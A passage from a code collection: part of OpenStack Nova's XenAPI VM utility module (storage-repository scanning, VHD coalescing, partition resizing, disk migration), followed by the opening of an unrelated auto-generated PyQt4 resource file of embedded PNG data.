available. :param:check_rescue: if True will return the 'name'-rescue vm if it exists, instead of just 'name' """ if check_rescue: result = lookup(session, name_label + '-rescue', False) if result: return result vm_refs = session.call_xenapi("VM.get_by_name_label", name_label) n = len(vm_refs) if n == 0: return None elif n > 1: raise exception.InstanceExists(name=name_label) else: return vm_refs[0] def preconfigure_instance(session, instance, vdi_ref, network_info): """Makes alterations to the image before launching as part of spawn. """ key = str(instance['key_data']) net = netutils.get_injected_network_template(network_info) metadata = instance['metadata'] # As mounting the image VDI is expensive, we only want do it once, # if at all, so determine whether it's required first, and then do # everything mount_required = key or net or metadata if not mount_required: return with vdi_attached_here(session, vdi_ref, read_only=False) as dev: _mounted_processing(dev, key, net, metadata) def lookup_kernel_ramdisk(session, vm): vm_rec = session.call_xenapi("VM.get_record", vm) if 'PV_kernel' in vm_rec and 'PV_ramdisk' in vm_rec: return (vm_rec['PV_kernel'], vm_rec['PV_ramdisk']) else: return (None, None) def is_snapshot(session, vm): vm_rec = session.call_xenapi("VM.get_record", vm) if 'is_a_template' in vm_rec and 'is_a_snapshot' in vm_rec: return vm_rec['is_a_template'] and vm_rec['is_a_snapshot'] else: return False def get_power_state(session, vm_ref): xapi_state = session.call_xenapi("VM.get_power_state", vm_ref) return XENAPI_POWER_STATE[xapi_state] def compile_info(session, vm_ref): """Fill record with VM status information.""" power_state = get_power_state(session, vm_ref) max_mem = session.call_xenapi("VM.get_memory_static_max", vm_ref) mem = session.call_xenapi("VM.get_memory_dynamic_max", vm_ref) num_cpu = session.call_xenapi("VM.get_VCPUs_max", vm_ref) return hardware.InstanceInfo(state=power_state, max_mem_kb=int(max_mem) >> 10, mem_kb=int(mem) >> 10, num_cpu=num_cpu) def compile_instance_diagnostics(instance, vm_rec): vm_power_state_int = XENAPI_POWER_STATE[vm_rec['power_state']] vm_power_state = power_state.STATE_MAP[vm_power_state_int] config_drive = configdrive.required_by(instance) diags = diagnostics.Diagnostics(state=vm_power_state, driver='xenapi', config_drive=config_drive) for cpu_num in range(0, int(vm_rec['VCPUs_max'])): diags.add_cpu() for vif in vm_rec['VIFs']: diags.add_nic() for vbd in vm_rec['VBDs']: diags.add_disk() max_mem_bytes = int(vm_rec['memory_dynamic_max']) diags.memory_details.maximum = max_mem_bytes / units.Mi return diags def compile_diagnostics(vm_rec): """Compile VM diagnostics data.""" try: keys = [] diags = {} vm_uuid = vm_rec["uuid"] xml = _get_rrd(_get_rrd_server(), vm_uuid) if xml: rrd = minidom.parseString(xml) for i, node in enumerate(rrd.firstChild.childNodes): # Provide the last update of the information if node.localName == 'lastupdate': diags['last_update'] = node.firstChild.data # Create a list of the diagnostic keys (in their order) if node.localName == 'ds': ref = node.childNodes # Name and Value if len(ref) > 6: keys.append(ref[0].firstChild.data) # Read the last row of the first RRA to get the latest info if node.localName == 'rra': rows = node.childNodes[4].childNodes last_row = rows[rows.length - 1].childNodes for j, value in enumerate(last_row): diags[keys[j]] = value.firstChild.data break return diags except expat.ExpatError as e: LOG.exception(_LE('Unable to parse rrd of %s'), e) return {"Unable to retrieve diagnostics": e} def fetch_bandwidth(session): bw = session.call_plugin_serialized('bandwidth', 'fetch_all_bandwidth') return bw def _scan_sr(session, sr_ref=None, max_attempts=4): if sr_ref: # NOTE(johngarbutt) xenapi will collapse any duplicate requests # for SR.scan if there is already a scan in progress. # However, we don't want that, because the scan may have started # before we modified the underlying VHDs on disk through a plugin. # Using our own mutex will reduce cases where our periodic SR scan # in host.update_status starts racing the sr.scan after a plugin call. @utils.synchronized('sr-scan-' + sr_ref) def do_scan(sr_ref): LOG.debug("Scanning SR %s", sr_ref) attempt = 1 while True: try: return session.call_xenapi('SR.scan', sr_ref) except session.XenAPI.Failure as exc: with excutils.save_and_reraise_exception() as ctxt: if exc.details[0] == 'SR_BACKEND_FAILURE_40': if attempt < max_attempts: ctxt.reraise = False LOG.warning(_LW("Retry SR scan due to error: " "%s"), exc) greenthread.sleep(2 ** attempt) attempt += 1 do_scan(sr_ref) def scan_default_sr(session): """Looks for the system default SR and triggers a re-scan.""" sr_ref = safe_find_sr(session) _scan_sr(session, sr_ref) return sr_ref def safe_find_sr(session): """Same as _find_sr except raises a NotFound exception if SR cannot be determined """ sr_ref = _find_sr(session) if sr_ref is None: raise exception.StorageRepositoryNotFound() return sr_ref def _find_sr(session): """Return the storage repository to hold VM images.""" host = session.host_ref try: tokens = CONF.xenserver.sr_matching_filter.split(':') filter_criteria = tokens[0] filter_pattern = tokens[1] except IndexError: # oops, flag is invalid LOG.warning(_LW("Flag sr_matching_filter '%s' does not respect " "formatting convention"), CONF.xenserver.sr_matching_filter) return None if filter_criteria == 'other-config': key, value = filter_pattern.split('=', 1) for sr_ref, sr_rec in session.get_all_refs_and_recs('SR'): if not (key in sr_rec['other_config'] and sr_rec['other_config'][key] == value): continue for pbd_ref in sr_rec['PBDs']: pbd_rec = session.get_rec('PBD', pbd_ref) if pbd_rec and pbd_rec['host'] == host: return sr_ref elif filter_criteria == 'default-sr' and filter_pattern == 'true': pool_ref = session.call_xenapi('pool.get_all')[0] sr_ref = session.call_xenapi('pool.get_default_SR', pool_ref) if sr_ref: return sr_ref # No SR found! LOG.error(_LE("XenAPI is unable to find a Storage Repository to " "install guest instances on. Please check your " "configuration (e.g. set a default SR for the pool) " "and/or configure the flag 'sr_matching_filter'.")) return None def _safe_find_iso_sr(session): """Same as _find_iso_sr except raises a NotFound exception if SR cannot be determined """ sr_ref = _find_iso_sr(session) if sr_ref is None: raise exception.NotFound(_('Cannot find SR of content-type ISO')) return sr_ref def _find_iso_sr(session): """Return the storage repository to hold ISO images.""" host = session.host_ref for sr_ref, sr_rec in session.get_all_refs_and_recs('SR'): LOG.debug("ISO: looking at SR %s", sr_rec) if not sr_rec['content_type'] == 'iso': LOG.debug("ISO: not iso content") continue if 'i18n-key' not in sr_rec['other_config']: LOG.debug("ISO: iso content_type, no 'i18n-key' key") continue if not sr_rec['other_config']['i18n-key'] == 'local-storage-iso': LOG.debug("ISO: iso content_type, i18n-key value not " "'local-storage-iso'") continue LOG.debug("ISO: SR MATCHing our criteria") for pbd_ref in sr_rec['PBDs']: LOG.debug("ISO: ISO, looking to see if it is host local") pbd_rec = session.get_rec('PBD', pbd_ref) if not pbd_rec: LOG.debug("ISO: PBD %s disappeared", pbd_ref) continue pbd_rec_host = pbd_rec['host'] LOG.debug("ISO: PBD matching, want %(pbd_rec)s, have %(host)s", {'pbd_rec': pbd_rec, 'host': host}) if pbd_rec_host == host: LOG.debug("ISO: SR with local PBD") return sr_ref return None def _get_rrd_server(): """Return server's scheme and address to use for retrieving RRD XMLs.""" xs_url = urlparse.urlparse(CONF.xenserver.connection_url) return [xs_url.scheme, xs_url.netloc] def _get_rrd(server, vm_uuid): """Return the VM RRD XML as a string.""" try: xml = urllib.urlopen("%s://%s:%s@%s/vm_rrd?uuid=%s" % ( server[0], CONF.xenserver.connection_username, CONF.xenserver.connection_password, server[1], vm_uuid)) return xml.read() except IOError: LOG.exception(_LE('Unable to obtain RRD XML for VM %(vm_uuid)s with ' 'server details: %(server)s.'), {'vm_uuid': vm_uuid, 'server': server}) return None def _get_all_vdis_in_sr(session, sr_ref): for vdi_ref in session.call_xenapi('SR.get_VDIs', sr_ref): vdi_rec = session.get_rec('VDI', vdi_ref) # Check to make sure the record still exists. It may have # been deleted between the get_all call and get_rec call if vdi_rec: yield vdi_ref, vdi_rec def get_instance_vdis_for_sr(session, vm_ref, sr_ref): """Return opaqueRef for all the vdis which live on sr.""" for vbd_ref in session.call_xenapi('VM.get_VBDs', vm_ref): try: vdi_ref = session.call_xenapi('VBD.get_VDI', vbd_ref) if sr_ref == session.call_xenapi('VDI.get_SR', vdi_ref): yield vdi_ref except session.XenAPI.Failure: continue def _get_vhd_parent_uuid(session, vdi_ref, vdi_rec=None): if vdi_rec is None: vdi_rec = session.call_xenapi("VDI.get_record", vdi_ref) if 'vhd-parent' not in vdi_rec['sm_config']: return None parent_uuid = vdi_rec['sm_config']['vhd-parent'] vdi_uuid = vdi_rec['uuid'] LOG.debug('VHD %(vdi_uuid)s has parent %(parent_uuid)s', {'vdi_uuid': vdi_uuid, 'parent_uuid': parent_uuid}) return parent_uuid def _walk_vdi_chain(session, vdi_uuid): """Yield vdi_recs for each element in a VDI chain.""" scan_default_sr(session) while True: vdi_ref = session.call_xenapi("VDI.get_by_uuid", vdi_uuid) vdi_rec = session.call_xenapi("VDI.get_record", vdi_ref) yield vdi_rec parent_uuid = _get_vhd_parent_uuid(session, vdi_ref, vdi_rec) if not parent_uuid: break vdi_uuid = parent_uuid def _is_vdi_a_snapshot(vdi_rec): """Ensure VDI is a snapshot, and not cached image.""" is_a_snapshot = vdi_rec['is_a_snapshot'] image_id = vdi_rec['other_config'].get('image-id') return is_a_snapshot and not image_id def _child_vhds(session, sr_ref, vdi_uuid_list, old_snapshots_only=False): """Return the immediate children of a given VHD. This is not recursive, only the immediate children are returned. """ children = set() for ref, rec in _get_all_vdis_in_sr(session, sr_ref): rec_uuid = rec['uuid'] if rec_uuid in vdi_uuid_list: continue parent_uuid = _get_vhd_parent_uuid(session, ref, rec) if parent_uuid not in vdi_uuid_list: continue if old_snapshots_only and not _is_vdi_a_snapshot(rec): continue children.add(rec_uuid) return list(children) def _count_children(session, parent_vdi_uuid, sr_ref): # Search for any other vdi which has the same parent as us to work out # whether we have siblings and therefore if coalesce is possible children = 0 for _ref, rec in _get_all_vdis_in_sr(session, sr_ref): if (rec['sm_config'].get('vhd-parent') == parent_vdi_uuid): children = children + 1 return children def _wait_for_vhd_coalesce(session, instance, sr_ref, vdi_ref, vdi_uuid_list): """Spin until the parent VHD is coalesced into one of the VDIs in the list vdi_uuid_list is a list of acceptable final parent VDIs for vdi_ref; once the parent of vdi_ref is in vdi_uuid_chain we consider the coalesce over. The use case is there are any number of VDIs between those in vdi_uuid_list and vdi_ref that we expect to be coalesced, but any of those in vdi_uuid_list may also be coalesced (except the base UUID - which is guaranteed to remain) """ # If the base disk was a leaf node, there will be no coalescing # after a VDI snapshot. if len(vdi_uuid_list) == 1: LOG.debug("Old chain is single VHD, coalesce not possible.", instance=instance) return # If the parent of the original disk has other children, # there will be no coalesce because of the VDI snapshot. # For example, the first snapshot for an instance that has been # spawned from a cached image, will not coalesce, because of this rule. parent_vdi_uuid = vdi_uuid_list[1] if _count_children(session, parent_vdi_uuid, sr_ref) > 1: LOG.debug("Parent has other children, coalesce is unlikely.", instance=instance) return # When the VDI snapshot is taken, a new parent is created. # Assuming it is not one of the above cases, that new parent # can be coalesced, so we need to wait for that to happen. max_attempts = CONF.xenserver.vhd_coalesce_max_attempts # Remove the leaf node from list, to get possible good parents # when the coalesce has completed. # Its possible that other coalesce operation happen, so we need # to consider the full chain, rather than just the most recent parent. good_parent_uuids = vdi_uuid_list[1:] for i in range(max_attempts): # NOTE(sirp): This rescan is necessary to ensure the VM's `sm_config` # matches the underlying VHDs. # This can also kick XenServer into performing a pending coalesce. _scan_sr(session, sr_ref) parent_uuid = _get_vhd_parent_uuid(session, vdi_ref) if parent_uuid and (parent_uuid not in good_parent_uuids): LOG.debug("Parent %(parent_uuid)s not yet in parent list" " %(good_parent_uuids)s, waiting for coalesce...", {'parent_uuid': parent_uuid, 'good_parent_uuids': good_parent_uuids}, instance=instance) else: LOG.debug("Coalesce detected, because parent is: %s" % parent_uuid, instance=instance) return greenthread.sleep(CONF.xenserver.vhd_coalesce_poll_interval) msg = (_("VHD coalesce attempts exceeded (%d)" ", giving up...") % max_attempts) raise exception.NovaException(msg) def _remap_vbd_dev(dev): """Return the appropriate location for a plugged-in VBD device Ubuntu Maverick moved xvd? -> sd?. This is considered a bug and will be fixed in future versions: https://bugs.launchpad.net/ubuntu/+source/linux/+bug/684875 For now, we work around it by just doing a string replace. """ # NOTE(sirp): This hack can go away when we pull support for Maverick should_remap = CONF.xenserver.remap_vbd_dev if not should_remap: return dev old_prefix = 'xvd' new_prefix = CONF.xenserver.remap_vbd_dev_prefix remapped_dev = dev.replace(old_prefix, new_prefix) return remapped_dev def _wait_for_device(dev): """Wait for device node to appear.""" for i in range(0, CONF.xenserver.block_device_creation_timeout): dev_path = utils.make_dev_path(dev) if os.path.exists(dev_path): return time.sleep(1) raise exception.StorageError( reason=_('Timeout waiting for device %s to be created') % dev) def cleanup_attached_vdis(session): """Unplug any instance VDIs left after an unclean restart.""" this_vm_ref = _get_this_vm_ref(session) vbd_refs = session.call_xenapi('VM.get_VBDs', this_vm_ref) for vbd_ref in vbd_refs: try: vdi_ref = session.call_xenapi('VBD.get_VDI', vbd_ref) vdi_rec = session.call_xenapi('VDI.get_record', vdi_ref) except session.XenAPI.Failure as e: if e.details[0] != 'HANDLE_INVALID': raise continue if 'nova_instance_uuid' in vdi_rec['other_config']: # Belongs to an instance and probably left over after an # unclean restart LOG.info(_LI('Disconnecting stale VDI %s from compute domU'), vdi_rec['uuid']) unplug_vbd(session, vbd_ref, this_vm_ref) destroy_vbd(session, vbd_ref) @contextlib.contextmanager def vdi_attached_here(session, vdi_ref, read_only=False): this_vm_ref = _get_this_vm_ref(session) vbd_ref = create_vbd(session, this_vm_ref, vdi_ref, 'autodetect', read_only=read_only, bootable=False) try: LOG.debug('Plugging VBD %s ... ', vbd_ref) session.VBD.plug(vbd_ref, this_vm_ref) try: LOG.debug('Plugging VBD %s done.', vbd_ref) orig_dev = session.call_xenapi("VBD.get_device", vbd_ref) LOG.debug('VBD %(vbd_ref)s plugged as %(orig_dev)s', {'vbd_ref': vbd_ref, 'orig_dev': orig_dev}) dev = _remap_vbd_dev(orig_dev) if dev != orig_dev: LOG.debug('VBD %(vbd_ref)s plugged into wrong dev, ' 'remapping to %(dev)s', {'vbd_ref': vbd_ref, 'dev': dev}) _wait_for_device(dev) yield dev finally: utils.execute('sync', run_as_root=True) LOG.debug('Destroying VBD for VDI %s ... ', vdi_ref) unplug_vbd(session, vbd_ref, this_vm_ref) finally: try: destroy_vbd(session, vbd_ref) except exception.StorageError: # destroy_vbd() will log error pass LOG.debug('Destroying VBD for VDI %s done.', vdi_ref) def _get_sys_hypervisor_uuid(): with file('/sys/hypervisor/uuid') as f: return f.readline().strip() def get_this_vm_uuid(session): if session and session.is_local_connection: # UUID is the control domain running on this host vms = session.call_xenapi("VM.get_all_records_where", 'field "is_control_domain"="true" and ' 'field "resident_on"="%s"' % session.host_ref) return vms[list(vms.keys())[0]]['uuid'] try: return _get_sys_hypervisor_uuid() except IOError: # Some guest kernels (without 5c13f8067745efc15f6ad0158b58d57c44104c25) # cannot read from uuid after a reboot. Fall back to trying xenstore. # See https://bugs.launchpad.net/ubuntu/+source/xen-api/+bug/1081182 domid, _ = utils.execute('xenstore-read', 'domid', run_as_root=True) vm_key, _ = utils.execute('xenstore-read', '/local/domain/%s/vm' % domid.strip(), run_as_root=True) return vm_key.strip()[4:] def _get_this_vm_ref(session): return session.call_xenapi("VM.get_by_uuid", get_this_vm_uuid(session)) def _get_partitions(dev): """Return partition information (num, size, type) for a device.""" dev_path = utils.make_dev_path(dev) out, _err = utils.execute('parted', '--script', '--machine', dev_path, 'unit s', 'print', run_as_root=True) lines = [line for line in out.split('\n') if line] partitions = [] LOG.debug("Partitions:") for line in lines[2:]: line = line.rstrip(';') num, start, end, size, fstype, name, flags = line.split(':') num = int(num) start = int(start.rstrip('s')) end = int(end.rstrip('s')) size = int(size.rstrip('s')) LOG.debug(" %(num)s: %(fstype)s %(size)d sectors", {'num': num, 'fstype': fstype, 'size': size}) partitions.append((num, start, size, fstype, name, flags)) return partitions def _stream_disk(session, image_service_func, image_type, virtual_size, dev): offset = 0 if image_type == ImageType.DISK: offset = MBR_SIZE_BYTES _write_partition(session, virtual_size, dev) dev_path = utils.make_dev_path(dev) with utils.temporary_chown(dev_path): with open(dev_path, 'wb') as f: f.seek(offset) image_service_func(f) def _write_partition(session, virtual_size, dev): dev_path = utils.make_dev_path(dev) primary_first = MBR_SIZE_SECTORS primary_last = MBR_SIZE_SECTORS + (virtual_size / SECTOR_SIZE) - 1 LOG.debug('Writing partition table %(primary_first)d %(primary_last)d' ' to %(dev_path)s...', {'primary_first': primary_first, 'primary_last': primary_last, 'dev_path': dev_path}) _make_partition(session, dev, "%ds" % primary_first, "%ds" % primary_last) LOG.debug('Writing partition table %s done.', dev_path) def _repair_filesystem(partition_path): # Exit Code 1 = File system errors corrected # 2 = File system errors corrected, system needs a reboot utils.execute('e2fsck', '-f', '-y', partition_path, run_as_root=True, check_exit_code=[0, 1, 2]) def _resize_part_and_fs(dev, start, old_sectors, new_sectors, flags): """Resize partition and fileystem. This assumes we are dealing with a single primary partition and using ext3 or ext4. """ size = new_sectors - start end = new_sectors - 1 dev_path = utils.make_dev_path(dev) partition_path = utils.make_dev_path(dev, partition=1) # Replay journal if FS wasn't cleanly unmounted _repair_filesystem(partition_path) # Remove ext3 journal (making it ext2) utils.execute('tune2fs', '-O ^has_journal', partition_path, run_as_root=True) if new_sectors < old_sectors: # Resizing down, resize filesystem before partition resize try: utils.execute('resize2fs', partition_path, '%ds' % size, run_as_root=True) except processutils.ProcessExecutionError as exc: LOG.error(six.text_type(exc)) reason = _("Shrinking the filesystem down with resize2fs " "has failed, please check if you have " "enough free space on your disk.") raise exception.ResizeError(reason=reason) utils.execute('parted', '--script', dev_path, 'rm', '1', run_as_root=True) utils.execute('parted', '--script', dev_path, 'mkpart', 'primary', '%ds' % start, '%ds' % end, run_as_root=True) if "boot" in flags.lower(): utils.execute('parted', '--script', dev_path, 'set', '1', 'boot', 'on', run_as_root=True) if new_sectors > old_sectors: # Resizing up, resize filesystem after partition resize utils.execute('resize2fs', partition_path, run_as_root=True) # Add back journal utils.execute('tune2fs', '-j', partition_path, run_as_root=True) def _log_progress_if_required(left, last_log_time, virtual_size): if timeutils.is_older_than(last_log_time, PROGRESS_INTERVAL_SECONDS): last_log_time = timeutils.utcnow() complete_pct = float(virtual_size - left) / virtual_size * 100 LOG.debug("Sparse copy in progress, " "%(complete_pct).2f%% complete. " "%(left)s bytes left to copy", {"complete_pct": complete_pct, "left": left}) return last_log_time def _sparse_copy(src_path, dst_path, virtual_size, block_size=4096): """Copy data, skipping long runs of zeros to create a sparse file.""" start_time = last_log_time = timeutils.utcnow() EMPTY_BLOCK = '\0' * block_size bytes_read = 0 skipped_bytes = 0 left = virtual_size LOG.debug("Starting sparse_copy src=%(src_path)s dst=%(dst_path)s " "virtual_size=%(virtual_size)d block_size=%(block_size)d", {'src_path': src_path, 'dst_path': dst_path, 'virtual_size': virtual_size, 'block_size': block_size}) # NOTE(sirp): we need read/write access to the devices; since we don't have # the luxury of shelling out to a sudo'd command, we temporarily take # ownership of the devices. with utils.temporary_chown(src_path): with utils.temporary_chown(dst_path): with open(src_path, "r") as src: with open(dst_path, "w") as dst: data = src.read(min(block_size, left)) while data: if data == EMPTY_BLOCK: dst.seek(block_size, os.SEEK_CUR) left -= block_size bytes_read += block_size skipped_bytes += block_size else: dst.write(data) data_len = len(data) left -= data_len bytes_read += data_len if left <= 0: break data = src.read(min(block_size, left)) greenthread.sleep(0) last_log_time = _log_progress_if_required( left, last_log_time, virtual_size) duration = timeutils.delta_seconds(start_time, timeutils.utcnow()) compression_pct = float(skipped_bytes) / bytes_read * 100 LOG.debug("Finished sparse_copy in %(duration).2f secs, " "%(compression_pct).2f%% reduction in size", {'duration': duration, 'compression_pct': compression_pct}) def _copy_partition(session, src_ref, dst_ref, partition, virtual_size): # Part of disk taken up by MBR virtual_size -= MBR_SIZE_BYTES with vdi_attached_here(session, src_ref, read_only=True) as src: src_path = utils.make_dev_path(src, partition=partition) with vdi_attached_here(session, dst_ref, read_only=False) as dst: dst_path = utils.make_dev_path(dst, partition=partition) _write_partition(session, virtual_size, dst) if CONF.xenserver.sparse_copy: _sparse_copy(src_path, dst_path, virtual_size) else: num_blocks = virtual_size / SECTOR_SIZE utils.execute('dd', 'if=%s' % src_path, 'of=%s' % dst_path, 'count=%d' % num_blocks, 'iflag=direct,sync', 'oflag=direct,sync', run_as_root=True) def _mount_filesystem(dev_path, dir): """mounts the device specified by dev_path in dir.""" try: _out, err = utils.execute('mount', '-t', 'ext2,ext3,ext4,reiserfs', dev_path, dir, run_as_root=True) except processutils.ProcessExecutionError as e: err = six.text_type(e) return err def _mounted_processing(device, key, net, metadata): """Callback which runs with the image VDI attached.""" # NB: Partition 1 hardcoded dev_path = utils.make_dev_path(device, partition=1) with utils.tempdir() as tmpdir: # Mount only Linux filesystems, to avoid disturbing NTFS images err = _mount_filesystem(dev_path, tmpdir) if not err: try: # This try block ensures that the umount occurs if not agent.find_guest_agent(tmpdir): # TODO(berrange) passing in a None filename is # rather dubious. We shouldn't be re-implementing # the mount/unmount logic here either, when the # VFSLocalFS impl has direct support for mount # and unmount handling if it were passed a # non-None filename vfs = vfsimpl.VFSLocalFS( imgmodel.LocalFileImage(None, imgmodel.FORMAT_RAW), imgdir=tmpdir) LOG.info(_LI('Manipulating interface files directly')) # for xenapi, we don't 'inject' admin_password here, # it's handled at instance startup time, nor do we # support injecting arbitrary files here. disk.inject_data_into_fs(vfs, key, net, metadata, None, None) finally: utils.execute('umount', dev_path, run_as_root=True) else: LOG.info(_LI('Failed to mount filesystem (expected for ' 'non-linux instances): %s'), err) def ensure_correct_host(session): """Ensure we're connected to the host we're running on. This is the required configuration for anything that uses vdi_attached_here. """ this_vm_uuid = get_this_vm_uuid(session) try: session.call_xenapi('VM.get_by_uuid', this_vm_uuid) except session.XenAPI.Failure as exc: if exc.details[0] != 'UUID_INVALID': raise raise Exception(_('This domU must be running on the host ' 'specified by connection_url')) def import_all_migrated_disks(session, instance, import_root=True): root_vdi = None if import_root: root_vdi = _import_migrated_root_disk(session, instance) eph_vdis = _import_migrate_ephemeral_disks(session, instance) return {'root': root_vdi, 'ephemerals': eph_vdis} def _import_migrated_root_disk(session, instance): chain_label = instance['uuid'] vdi_label = instance['name'] return _import_migrated_vhds(session, instance, chain_label, "root", vdi_label) def _import_migrate_ephemeral_disks(session, instance): ephemeral_vdis = {} instance_uuid = instance['uuid'] ephemeral_gb = instance.old_flavor.ephemeral_gb disk_sizes = get_ephemeral_disk_sizes(ephemeral_gb) for chain_number, _size in enumerate(disk_sizes, start=1): chain_label = instance_uuid + "_ephemeral_%d" % chain_number vdi_label = "%(name)s ephemeral (%(number)d)" % dict( name=instance['name'], number=chain_number) ephemeral_vdi = _import_migrated_vhds(session, instance, chain_label, "ephemeral", vdi_label) userdevice = 3 + chain_number ephemeral_vdis[str(userdevice)] = ephemeral_vdi return ephemeral_vdis def _import_migrated_vhds(session, instance, chain_label, disk_type, vdi_label): """Move and possibly link VHDs via the XAPI plugin.""" # TODO(johngarbutt) tidy up plugin params imported_vhds = session.call_plugin_serialized( 'migration', 'move_vhds_into_sr', instance_uuid=chain_label, sr_path=get_sr_path(session), uuid_stack=_make_uuid_stack()) # Now we rescan the SR so we find the VHDs scan_default_sr(session) vdi_uuid = imported_vhds['root']['uuid'] vdi_ref = session.call_xenapi('VDI.get_by_uuid', vdi_uuid) # Set name-label so we can find if we need to clean up a failed migration _set_vdi_info(session, vdi_ref, disk_type, vdi_label, disk_type, instance) return {'uuid': vdi_uuid, 'ref': vdi_ref} def migrate_vhd(session, instance, vdi_uuid, dest, sr_path, seq_num, ephemeral_number=0): LOG.debug("Migrating VHD '%(vdi_uuid)s' with seq_num %(seq_num)d", {'vdi_uuid': vdi_uuid, 'seq_num': seq_num}, instance=instance) chain_label = instance['uuid'] if ephemeral_number: chain_label = instance['uuid'] + "_ephemeral_%d" % ephemeral_number try: # TODO(johngarbutt) tidy up plugin params session.call_plugin_serialized('migration', 'transfer_vhd', instance_uuid=chain_label, host=dest, vdi_uuid=vdi_uuid, sr_path=sr_path, seq_num=seq_num) except session.XenAPI.Failure: msg = "Failed to transfer vhd to new host" LOG.debug(msg, instance=instance, exc_info=True) raise exception.MigrationError(reason=msg) def vm_ref_or_raise(session, instance_name): vm_ref = lookup(session, instance_name) if vm_ref is None: raise exception.InstanceNotFound(instance_id=instance_name) return vm_ref def handle_ipxe_iso(session, instance, cd_vdi, network_info): """iPXE ISOs are a mechanism to allow the customer to roll their own image. To use this feature, a service provider needs to configure the appropriate Nova flags, roll an iPXE ISO, then distribute that image to customers via Glance. NOTE: `mkisofs` is not present by default in the Dom0, so the service provider can either add that package manually to Dom0 or include the `mkisofs` binary in the image itself. """ boot_menu_url = CONF.xenserver.ipxe_boot_menu_url if not boot_menu_url: LOG.warning(_LW('ipxe_boot_menu_url not set, user will have to' ' enter URL manually...'), instance=instance) return network_name = CONF.xenserver.ipxe_network_name if not network_name: LOG.warning(_LW('ipxe_network_name not set, user will have to' ' enter IP manually...'), instance=instance) return network = None for vif in network_info: if vif['network']['label'] == network_name: network = vif['network'] break if not network: LOG.warning(_LW("Unable to find network matching '%(network_name)s', " "user will have to enter IP manually..."), {'network_name': network_name}, instance=instance) return sr_path = get_sr_path(session) # Unpack IPv4 network info subnet = [sn for sn in network['subnets'] if sn['version'] == 4][0] ip = subnet['ips'][0] ip_address = ip['address'] netmask = network_model.get_netmask(ip, subnet) gateway = subnet['gateway']['address'] dns = subnet['dns'][0]['address'] try: session.call_plugin_serialized("ipxe", "inject", sr_path, cd_vdi['uuid'], boot_menu_url, ip_address, netmask, gateway, dns, CONF.xenserver.ipxe_mkisofs_cmd) except session.XenAPI.Failure as exc: _type, _method, error = exc.details[:3] if error == 'CommandNotFound': LOG.warning(_LW("ISO creation tool '%s' does not exist."), CONF.xenserver.ipxe_mkisofs_cmd, instance=instance) else: raise def set_other_config_pci(session, vm_ref, params): """Set the pci key of other-config parameter to params.""" other_config = session.call_xenapi("VM.get_other_config", vm_ref) other_config['pci'] = params session.call_xenapi("VM.set_other_config", vm_ref, other_config)
codeparrot/github-code-clean
# -*- coding: utf-8 -*- # Resource object code # # Created by: The Resource Compiler for PyQt4 (Qt v4.8.7) # # WARNING! All changes made in this file will be lost! from PyQt4 import QtCore qt_resource_data = "\ \x00\x00\x01\xd9\ \x89\ \x50\x4e\x47\x0d\x0a\x1a\x0a\x00\x00\x00\x0d\x49\x48\x44\x52\x00\ \x00\x00\x17\x00\x00\x00\x18\x08\x06\x00\x00\x00\x11\x7c\x66\x75\ \x00\x00\x00\x06\x62\x4b\x47\x44\x00\xff\x00\xff\x00\xff\xa0\xbd\ \xa7\x93\x00\x00\x00\x09\x70\x48\x59\x73\x00\x00\x0b\x13\x00\x00\ \x0b\x13\x01\x00\x9a\x9c\x18\x00\x00\x00\x07\x74\x49\x4d\x45\x07\ \xe0\x01\x15\x12\x23\x06\xc8\x5f\x9a\x75\x00\x00\x01\x66\x49\x44\ \x41\x54\x48\xc7\xd5\xd3\xb1\x4b\x16\x61\x1c\x07\xf0\xcf\x73\x16\ \x35\x68\x14\xe1\x60\xd8\xe4\xe4\xd6\xe0\x10\x44\x5b\x9b\x4d\x85\ \x1e\xf4\x16\x04\xfd\x01\x42\xe0\x1a\xee\x41\xd0\x56\x63\x4d\x25\ \xe8\xa2\xa3\x58\x53\xd0\x20\xd1\x10\x44\x63\x93\x43\xe8\xa0\x62\ \xfa\xc6\xfb\xb8\x9c\xf1\x74\xa5\xde\x73\x6f\x0d\xfd\x96\xbb\xe3\ \x9e\xfb\x3c\xdf\xe7\xb9\xe7\xc7\xff\x5a\x21\x7d\x98\xa2\xb8\xcd\ \x4c\xe0\x41\x60\x2c\xb2\x85\xd5\x2e\x8f\xee\xf2\xa5\x2f\xfc\x35\ \xaf\x02\x25\x44\xb6\x03\x83\xd5\xab\xcd\x2e\x57\x3a\x7c\xcd\xc1\ \x8b\x04\xbe\x15\x28\x23\x1b\x91\x6b\x25\x43\x7b\x8c\x44\xd6\x70\ \xe1\x34\x4f\x73\x93\x17\xc9\x12\xee\x57\xd7\x67\x25\xef\xe0\x1e\ \xeb\x91\xc7\xd5\x4a\x6e\x3c\xe7\x54\x0e\xfe\x73\x70\x64\x22\xa0\ \xc7\xfb\x74\xc0\x67\x16\xc7\x18\x81\x15\x7a\xad\x70\x0c\x57\xc9\ \xbf\xa5\x03\xe6\xe8\x62\xbd\xcd\x69\x29\xea\x3f\xb7\x47\xfc\x5b\ \x47\x31\x4d\xbe\x81\xe1\x82\xf3\xb5\xe4\xe1\x1c\x67\xe0\x21\xdf\ \x8f\xc3\xe6\x93\x60\xd3\x84\x34\xf9\x87\xc3\xbd\x4f\x3f\x18\xa7\ \x1c\x65\x77\x94\x9d\x27\x9c\x6d\x0a\xd7\xb7\xe5\x65\xb5\x37\x33\ \xf3\x5c\x85\x17\x5c\x0a\xcc\x56\x93\xbe\x39\x2a\xf9\x9f\xe0\x5f\ \x9a\x68\x8e\x30\xce\x52\x60\xb2\xde\x44\x91\xad\x1f\x5c\xef\xf0\ \xb1\x29\x0c\x03\x87\x37\x6f\x71\x93\x85\x01\xf6\x71\x39\x70\x11\ \x9b\x58\x8e\x74\xee\xf0\x29\x07\xfe\xad\xfd\x73\xea\x24\xb8\x35\ \xde\x04\x6e\x85\x37\x85\xb3\xf1\x1c\x38\x0b\xcf\x85\x1b\xe3\x6d\ \xe0\x46\x78\x5b\xf8\x44\xbc\x1f\xb8\xde\xfe\x47\xd6\x74\x1f\xfd\ \xf0\xcf\xea\x00\x22\xfa\x61\x32\xed\x77\xdd\x16\x00\x00\x00\x00\ \x49\x45\x4e\x44\xae\x42\x60\x82\ \x00\x00\x06\x36\ \x89\ \x50\x4e\x47\x0d\x0a\x1a\x0a\x00\x00\x00\x0d\x49\x48\x44\x52\x00\ \x00\x00\x17\x00\x00\x00\x18\x08\x06\x00\x00\x00\x11\x7c\x66\x75\ \x00\x00\x00\x06\x62\x4b\x47\x44\x00\xff\x00\xff\x00\xff\xa0\xbd\ 